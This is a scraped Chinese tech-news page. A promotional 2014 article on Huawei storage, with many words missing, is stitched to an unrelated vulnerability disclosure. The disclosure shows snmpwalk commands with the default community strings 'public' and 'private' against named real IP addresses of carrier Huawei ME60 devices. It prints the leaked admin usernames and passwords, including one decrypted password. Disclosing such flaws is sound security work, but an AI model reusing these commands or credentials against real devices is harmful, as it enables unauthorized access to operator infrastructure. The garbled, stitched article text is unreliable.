比特客户端
您的位置：
详解大数据
详解大数据
详解大数据
详解大数据
解开华为存储2014“逆袭”的密码
　　2014年年底，在Gartner魔力四象限中纵身一跃，进入象限，为2014年做了完收尾。回顾2014年的华为存储，从向媒体开放兼容性实验室到OceanStor V3融合存储系列产品的发布，再到全球客商云集的HCC 2014的召开，华为存储一直在创新与合作的道路上执着前行。
　　成功抓住“下一跳”
　　在华为存储新春媒体会上，华为IT营销工程部部长黄瑾的发言让我们对华为从CT向IT的拓展有了更多的了解。有很多人都在问，为什么在运营商领域做得的华为一下子转投级IT，跟很多已经拥有百年历史的巨头争夺市场份额？在华为已经工作17年并曾在多个产品部门任职的黄瑾认为，自2010年起，华为已经意识到了ICT融合转型的趋势：第一，所有运营商未来电信设备都会逐渐的IT化，以及其他一些新技术的出现已经让很多用户认识到了这种转型的必然性。第二，电信设备市场每年市场份额大约为1200亿美金，华为已经占据了的市场份额，向上增长需要一定的空间。
　　华为IT营销工程部部长黄瑾
　　在电信的中，随处可见华为的硬件设备，上面运行的也是华为生产的软件。从设备本身而言，CT设备和IT设备本身有着极大的相似性。再看企业级IT这个市场，其发展空间是非常的，除了云计算和，仅就计算和存储市场而言，一年市场空间也接近一千亿美金，对于华为而言是个巨大的机会。
　　华为是一家善于抓住机会的企业，无论是在、微波还是领域，华为每次成绩的获得都是抓住变化，成功的抓住了“下一跳”。
　　借助用户大会 拓展外销商机
　　就华为整个IT产品线而言，包含了、存储、等领域。这些产品在2014年的(HCC)上均有亮相。对于IT企业而言，通过召开用户大会展示自己的解决并不鲜见。而对于华为这样立足中国的企业而言，HCC也是华为向海外用户进行自身展示的绝好机会。
　　去过HCC 2014的用户不知道是否注意到这个细节，所有的展板都采用了中英双语的展示，现场配备了英语、阿拉伯语、西班牙语等六国语言的同声翻译。华为邀请了大量以及欧洲主流媒体。HCC 2014之后，西方新闻媒体广泛报道级IT领域的进展，华为内部已经将此次大会作为华为向海外拓展新的里程碑。2015年的HCC将以“赢在全球”为主题，会在更多的国家召开。
　　合作创新 支持开源
　　合作和创新，在黄瑾看来是华为发展的两条主线。在市场上，华为一直坚持“被集成”的策略，希望与更多的ISV和SI合作。而其领先性则来自于创新，包括技术的创新、产品的创新和理念的创新。以上这些，很多都是华为与合作伙伴携手完成的，双方进行了“联合营销”、“联合规划”以及“联合创新”。
　　2013年OpenStack峰会前夕，华为已经成为OpenStack基金会的金牌会员。黄瑾在分享时也提到，中国有非常多优秀的软件编程人员，但缺乏非常好的软件架构设计人员，这种架构设计能力可以向开源学习。目前，华为在OpenStack组织的贡献已经获得了广泛的认可，成为社区的主要贡献者之一。
　　在领域，华为向用户提供的是面向未来的IT架构，是业务驱动的云数据中心架构，同时华为存储产品线总裁范瑞琦用12个字来概括华为存储未来的产品建设方向，那就是“稳定可靠、简单易用、面向未来”。
　　2014，华为存储一直在奋斗
　　回顾华为存储2014年的成绩，IDC Q3针对中国外部存储市场的季度跟踪报告给了我们一些直观的数据。华为存储在2014年第三季度取得了收入增速No.1、发货套数增速No.1以及发货容量增速No.1的好成绩。华为高端存储较2013年同期增长了400%。
　　华为存储产品线总裁范瑞琦
　　在行业分布上，华为高端存储进入到了关键行业及核心业务，在央行及四大行实现了全面突破，并在运营商领域获得了广泛应用。在过去的一年中，华为存储帮助公安部门实现了科技强警，帮助金融企业实现了智以存金，帮助税务部门实现了保收促发，帮助卫生院所实现了和谐医疗，帮助院校机构实现了智享教育……还有电力、大企业、媒资和社保领域也在华为存储的支持下实现了云时代的转型。
　　2014年3月，华为将位于四川成都的存储研发基地――成研所向媒体开放，展示了华为高端存储“炼成”的秘密。作为的后来者，为了实现IT系统的兼容，华为耗资两亿美元打造兼容性实验室。在这个庞大的实验室里，各个年代的服务器、存储、网络硬件一应俱全。华为存储在这个实验室中进行了与IT基础架构全部层面的兼容测试，包括存储层、网络层、服务器层、层、层以及应用层的测试。
　　2014年5月以“五大融合”为标志的最新一代华为OceanStor V3融合存储系列产品正式亮相。借助新的OceanStor系统，企业数据可以在OceanStor V3融合存储系列中自由流动和分享，实现真正的软件定义。华为在OceanStor V3融合存储中实现了和的融合、高中低端的融合、性能和容量的融合、主存储和备份的融合以及异构设备的融合。
　　2014年9月，华为在上海成功召开华为云计算大会，华为存储是HCC 2014上一个闪亮的明星。华为在HCC 2014上提出了“业务驱动存储”的策略。华为存储产品线总裁范瑞琦在接受TechTarget中国记者采访时表示，无论是现在还是未来，“围绕业务，永远不会犯错误”。
　　2014年11月，Gartner发布了最新的存储魔力四象限，华为存储成功跃入挑战者象限。这是对华为存储前瞻性和执行力提升的巨大肯定。从2002年华为开始存储领域的耕耘，到2014年这十多年的时间，华为实现了一步步的跨越。2010年华为存储首次进入Gartner存储魔力四象限特定领域象限，2014年华为OceanStor V3融合存储系列发布为存储行业带来了颠覆性的创新，也促进了华为存储的市场增长，为华为存储在Gartner存储魔力四象限的跃进提供了支持。
　　回望2014年，华为存储在华为IT产品线整体策略的带动下，实现了一步步的升级和跳跃。希望OceanStor V3融合存储产品为用户带来业务推动，为华为存储2015年带来更好的市场拓展，助华为企业级IT实现“赢在全球”的梦想。
相关文章：
[ 责任编辑：杨瑗嘉 ]
互联网＋，云，大数据时代，外部…
甲骨文的云战略已经完成第一阶段…
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
/cn/security/psirt/security-bulletins/security-advisories/hw-u_194647.htm
详细说明：
算是对CVE-学习的一个总结吧。因为涉及到具体的IP不太适合发zone。网络上public作为团体字的设备依然很多，不乏很多运营商的重要设备。而这个cve影响的设备版本实在是太多了，所以还是存在一定危害的。
华为某些设备可以通过snmp walk 1.3.6.1.4.1..1.10.1 来获取帐号信息。参考
话说原洞主写的不清晰啊，研究了好久。
218.207.189.2 218.207.189.6 设备型号为ME60 V600R002C02SPC700 ME60多业务控制网关主要应用在宽带业务接入的BRAS节点和IP/MPLS网络的业务提供节点。ME60平台可以支持240G高性能宽带业务接入单板、支持多达256K并发用户数，满足运营商宽带业务快速增长的需求。 团体字 private
code 区域root@bt:~# snmpwalk -c private -v 1 218.207.189.2 1.3.6.1.4.1..1.10.1
SNMPv2-SMI::enterprises..1.10.1.1.6.97.110.113.117.97.110 = STRING: &anquan&
SNMPv2-SMI::enterprises..1.10.1.2.6.97.110.113.117.97.110 = STRING: &K2+L5\&^N:6&X]&8.21CN&Q!!&
SNMPv2-SMI::enterprises..1.10.1.3.6.97.110.113.117.97.110 = INTEGER: 64
SNMPv2-SMI::enterprises..1.10.1.4.6.97.110.113.117.97.110 = INTEGER: 1
SNMPv2-SMI::enterprises..1.10.1.5.6.97.110.113.117.97.110 = STRING: &--&
SNMPv2-SMI::enterprises..1.10.1.12.6.97.110.113.117.97.110 = INTEGER: 1
密码解密为aqjc4wgzx!
虽然这个设备不能登录，但是管理员帐号密码泄漏在某些场景也是很有危害的。
测试一个可以登录的http://218.201.14.13
code 区域root@bt:~# snmpwalk -c public -v 2c 218.201.14.13 1.3.6.1.4.1..1.10.1
SNMPv2-SMI::enterprises..1.10.1.1.5.97.100.109.105.110 = STRING: &admin&
SNMPv2-SMI::enterprises..1.10.1.1.6.104.117.97.119.101.105 = STRING: &huawei&
SNMPv2-SMI::enterprises..1.10.1.2.5.97.100.109.105.110 = STRING: &Admin@123&
SNMPv2-SMI::enterprises..1.10.1.2.6.104.117.97.119.101.105 = STRING: &huawei@123&
SNMPv2-SMI::enterprises..1.10.1.3.5.97.100.109.105.110 = INTEGER: 515
SNMPv2-SMI::enterprises..1.10.1.3.6.104.117.97.119.101.105 = INTEGER: 521
SNMPv2-SMI::enterprises..1.10.1.4.5.97.100.109.105.110 = INTEGER: 15
SNMPv2-SMI::enterprises..1.10.1.4.6.104.117.97.119.101.105 = INTEGER: 15
SNMPv2-SMI::enterprises..1.10.1.12.5.97.100.109.105.110 = INTEGER: 1
SNMPv2-SMI::enterprises..1.10.1.12.6.104.117.97.119.101.105 = INTEGER: 1
漏洞证明：
帐号:anquan
密码:aqjc4wgzx!
修复方案：
不用使用默认密码。
即使升级系统。
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：12
确认时间： 19:37
厂商回复：
CNVD确认并复现所述探测及破解情况，对于此类SNMP风险，CNVD后续拟由CNCERT开展网络监测工作，以免发现涉及我国基础网络相关的案例风险。
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
不是有人发过了么？
@无敌L.t.H 这是应用...
@erevus 我们这边好像是中兴的，不过有ACL。
这个密码是什么加密格式？des嘛、
登录后才能发表评论，请先